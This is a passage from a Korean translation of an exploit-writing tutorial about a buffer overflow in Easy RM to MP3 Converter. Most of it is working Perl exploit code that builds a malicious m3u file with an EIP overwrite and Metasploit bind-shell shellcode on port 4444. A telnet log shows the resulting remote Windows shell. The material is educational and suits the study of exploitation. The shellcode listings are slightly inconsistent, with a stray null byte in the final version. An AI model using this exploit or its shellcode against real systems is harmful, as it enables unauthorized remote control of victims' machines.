"\x22\xf1\xb8\xec\xb5\x73\xc7\x49\xb5\x8b\xc8\xf9\xde\xba". "\x43\x96\x99\x42\x86\xd3\x58\xb2\x1b\xc9\xcd\x6d\xce\xb0". "\x93\x8d\x24\xf6\xad\x0d\xcd\x86\x49\x0d\xa4\x83\x16\x89". "\x54\xf9\x07\x7c\x5b\xae\x28\x55\x38\x31\xbb\x35\x91\xd4". "\x3b\xdf\xed"; open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file); print "m3u File Created successfully\n"; 이제 exploit 이만들어졌다. Exploit 을어플리케이션을통해로딩해보자.
계산기가실행되면서공격에성공하였다. 원격쉘실행 계산기를실행시키는쉘코드대신원격으로커맨드라인을실행시키는쉘코드를만들수도있다. 그러나이것은제대로작동하지않을수도있는데, 그이유는쉘코드가크고, 메모리위치가다를수있고, 쉘코드에유효하지않은문자들을증가시킬위험이있다. 특정포트를열어원격으로쉘을획득하여커맨드라인을실행시키는것을시도해보자. 여기서필요한쉘코드는 Bind 쉘코드이다 ( 역자추가 : 원문에나오는쉘코드를그대로사용할경우제대로실행되지않을것이다. RHOST 부분등쉘코드를만들때주의해야할부분이있다. RHOST에들어갈 IP주소를확인해보자 ). 쉘코드를사용할때발생하는일반적인문제들중에는쉘코드버퍼의크기와유효하지않은문자들이들어가있는경우등이있다. Metasploit로쉘코드를만들때유효하지않은문자들은배제하고만들어야하며, 사전에어떤문자들이허용되고허용되지않는지알고있어야한다. M3u 파일은파일명을담고있을지도모른다. 그래서파일명과파일경로에서허용되지않는모든문자는필터링하는것이좋다. 최종공격에서사용할쉘코드는다음과같다. # windows/shell_bind_tcp 703 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=192.168.10.134 "\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49". "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56". "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41". "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42". "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42". "\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b". "\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47". "\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a". "\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43". "\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a". "\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44". "\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a". "\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a". "\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c". "\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a". "\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45". "\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50". "\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45". "\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c". "\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43". "\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43". <...> "\x50\x41\x41"; 이쉘코드가제대로작동만한다면원격쉘을획득하고, 만약이어플리케이션이관리자권한으로실행되고있다면원격 Windows 시스템의관리자권한을획득할수있을것이다. 다음은우리가최종목표로삼았던 exploit 코드이다.. # # Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker # Written by Peter Van Eeckhoutte ( 수정 : vangelis) # http://www.corelan.be:8800 # Greetings to Saumil and SK : ) # # tested on Windows XP SP2 (KO) 원문은 XP SP3 (EN) 이었음 # # my $file= "exploitrmtomp3.m3u";
my $junk= "A" x 26071; my $eip = pack('v', 0x01eaf23a); #jmp esp from MSRMCcodec00.dll( 역자의시스템 ) my $shellcode = "\x90" x 25; # windows/shell_bind_tcp 703 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=4444, RHOST=192.168.10.134 $shellcode = $shellcode. "\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49". "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56". "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41". "\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42". "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42". "\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b". "\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47". "\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a". "\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43". "\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a". "\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44". "\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a". "\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a". "\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c". "\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a". "\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45". "\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50". "\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45". "\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c". "\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43". "\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43". "\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42". "\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48". "\x56\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43". "\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42". "\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48". "\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51". "\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42". "\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42". "\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48".
"\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43". "\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e". "\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50". "\x49\x4d\x56\x50\x49\x51\x47\x4b\x4f\x48\x56\x50\x50\x50". "\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a". "\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x48\x56\x50". "\x55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45". "\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50". "\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b". "\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47". "\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42". "\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b". "\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x49". "\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42". "\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48". "\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b". "\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x48". "\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b". "\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c". "\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x48\x56\x4b\x4f\x48". "\x50\x41\x41"; open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file); print "m3u File Created successfully\n"; 최종만들어진 exploit을어플리케이션을통해로딩해보자. ( 역자추가 : 공격자의의도대로쉘코드가제대로실행되었다면 4444 포트가열려있을것이다. 공격자는공격전에포트스캐닝을통해포트가열려있는것을확인할수있을것이다. 그러나역자의경우여러가지바인드쉘코드를이용해공격을해보았으나 4444 포트가열리지는않았다. 이문제의원인이무엇인지좀더테스트가필요할것으로보인다. 다음은원저자의테스트결과인데, 만약 4444번포트가열렸다면다음과같이열린포트로접속을하면원격쉘을이용할수있을것이다. 역자는좀더테스트를해보고역자의시스템에서테스트에실패한원인을찾을경우수정된문서를올리도록할것이다.) root@bt:/# telnet 192.168.0.197 4444 Trying 192.168.0.197... Connected to 192.168.0.197.
Escape character is '^]'. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985 2001 Microsoft Corp. C:\Program Files\Easy RM to MP3 Converter> 2009, Peter Van Eeckhoutte. All rights reserved. Terms of Use are applicable to all content on this blog. If you want to use/reuse parts of the content on this blog, you must provide a link to the original content on this blog.